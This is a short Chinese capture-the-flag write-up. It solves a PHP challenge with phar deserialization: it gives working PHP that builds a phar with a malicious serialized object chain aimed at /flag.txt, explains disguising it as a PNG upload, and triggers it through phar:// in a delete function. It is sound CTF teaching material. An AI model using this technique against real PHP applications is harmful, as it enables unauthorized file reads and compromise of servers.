步驟:
1.運行這個:
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("phar.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($a); //將自定義的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>
生成一個phar.phar文件:
注意要設置:phar.readonly = Off。PS:一開始我用的是PHP7無法生成,后來改成PHP5便可以了
2.更改Content-Type為image/png然后上傳
3.在delete里面讀取phar得到flag
解析[phar]:
php一大部分的文件系統函數在通過phar://
偽協議解析phar文件時,都會將meta-data進行反序列化,其中就有file_get_contents() ,所以我們可以把一個序列化的對象,儲存在phar格式的文件中
將phar偽造成其他格式的文件:php識別phar文件是通過其文件頭的stub,更確切一點來說是__HALT_COMPILER();?>這段代碼,對前面的內容或者后綴名是沒有要求的。那么我們就可以通過添加任意的文件頭+修改后綴名的方式將phar文件偽裝成其他格式的文件。
整體思路是:通過User調用File中的close()讀取flag但是要經FileList繞一下,不然沒有回顯
詳細走大佬連接
參考:
https://blog.csdn.net/weixin_44077544/article/details/102844554